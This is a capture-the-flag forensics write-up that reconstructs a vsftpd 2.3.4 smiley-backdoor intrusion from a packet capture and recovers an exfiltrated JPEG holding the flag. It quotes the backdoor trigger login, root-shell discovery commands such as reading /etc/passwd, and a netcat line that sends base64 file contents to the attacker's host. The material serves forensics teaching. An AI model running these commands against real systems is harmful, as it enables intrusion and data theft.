NewYear 2026 — exFill Writeup
A packet capture of an intrusion against a vsftpd 2.3.4 server. The attacker pops the famous smiley backdoor, lands a root shell, then exfiltrates a JPEG as base64 over a reverse shell. Reassemble the stream and the flag is painted inside the stolen image.
NewYear 2026 — exFill
A network-forensics challenge built around a real-style intrusion: exploit, privilege gain, discovery, then data exfiltration. The whole story is told by one packet capture.
- Event: NewYear 2026
- Category: Forensics
- Artifact:
capture.pcap.xz→capture.pcap - Flag format:
grodno{...}
1. What is in the capture
$ file capture.pcap
capture.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4
(Linux cooked v1, capture length 65535)3972 packets between two hosts:
- Attacker:
192.168.56.102 - Victim:
192.168.56.103
Grouping by port, one flow stands out immediately:
21/tcp FTP control (vsFTPd 2.3.4)
6200/tcp the vsftpd 2.3.4 "smiley" backdoor shell
4444/tcp a reverse shell carrying data
445, 25 SMB and SMTP probes (background noise)2. The smiley backdoor
Port 21 speaks for itself:
220 (vsFTPd 2.3.4)Version 2.3.4 carries CVE-2011-2523: any username ending in :) makes the server spawn a root shell on port 6200. In the capture the trigger is right there:
USER 3FVka:) PASS ssp6And right after it, a root shell opens on 6200:
etc. 6200:
uid=0(root) gid=0(root)3. Root shell and discovery
The session on 6200 is a full interactive shell. Reassembling it shows classic post-exploitation discovery followed by a targeted grab:
id
pwd
cat /etc/passwd
ls /home/msfadmin
cd /home/msfadmin
ls -la
sha256sum f1ag.jpg
base64 f1ag.jpg | nc 192.168.56.102 4444The ls -la output confirms the target:
-rw-r--r-- 1 msfadmin msfadmin 46852 Jan 6 09:45 f1ag.jpg
af811f3e2f6191bed1e625edc18e3ac37e1e165e0fdcbab4cfb9c301bbb5211f f1ag.jpgSo the goal is a 46,852-byte JPEG, and the attacker pipes its base64 encoding straight into nc back to 192.168.56.102:4444.
4. Reassembling the exfiltrated stream
TCP on 4444 must be rebuilt per direction, sorted by sequence number. The victim-to-attacker direction holds the payload:
from scapy.all import rdpcap, IP, TCP, Raw
import base64, re
pk = rdpcap("capture.pcap")
streams = {}
for p in pk:
if IP in p and TCP in p and Raw in p:
k = (p[IP].src, p[TCP].sport, p[IP].dst, p[TCP].dport)
streams.setdefault(k, []).append((p[TCP].seq, bytes(p[TCP].payload)))
def cat(k):
return b"".join(b for _, b in sorted(streams.get(k, [])))
data = cat(("192.168.56.103", 38553, "192.168.56.102", 4444))
b64 = re.sub(rb"[^A-Za-z0-9+/=]", b"", data)
open("f1ag.jpg", "wb").write(base64.b64decode(b64 + b"=" * (-len(b64) % 4)))The decoded blob starts with the JPEG magic ff d8 ff db and is exactly 46,852 bytes — the same size the victim's ls -la reported. The integrity check lines up too:
$ shasum -a 256 f1ag.jpg
af811f3e2f6191bed1e625edc18e3ac37e1e165e0fdcbab4cfb9c301bbb5211f f1ag.jpgThe recovered file is byte-identical to f1ag.jpg on the victim's disk.
5. The flag is in the picture
Opening the JPEG reveals the flag rendered as text inside the image:
$ strings -n 6 f1ag.jpg | grep -i grodno
+grodno{it5_was_t00_s1mple_=D}6. Flag
grodno{it5_was_t00_s1mple_=D}The lesson is a classic one: base64 | nc is not encryption. A single tcpdump capture on either side of the transfer reveals the exploit chain and hands you the stolen file, and the SHA-256 the attacker helpfully computed for the victim becomes the proof that your reassembled exfil is exact.
What do you think?
React to show your appreciation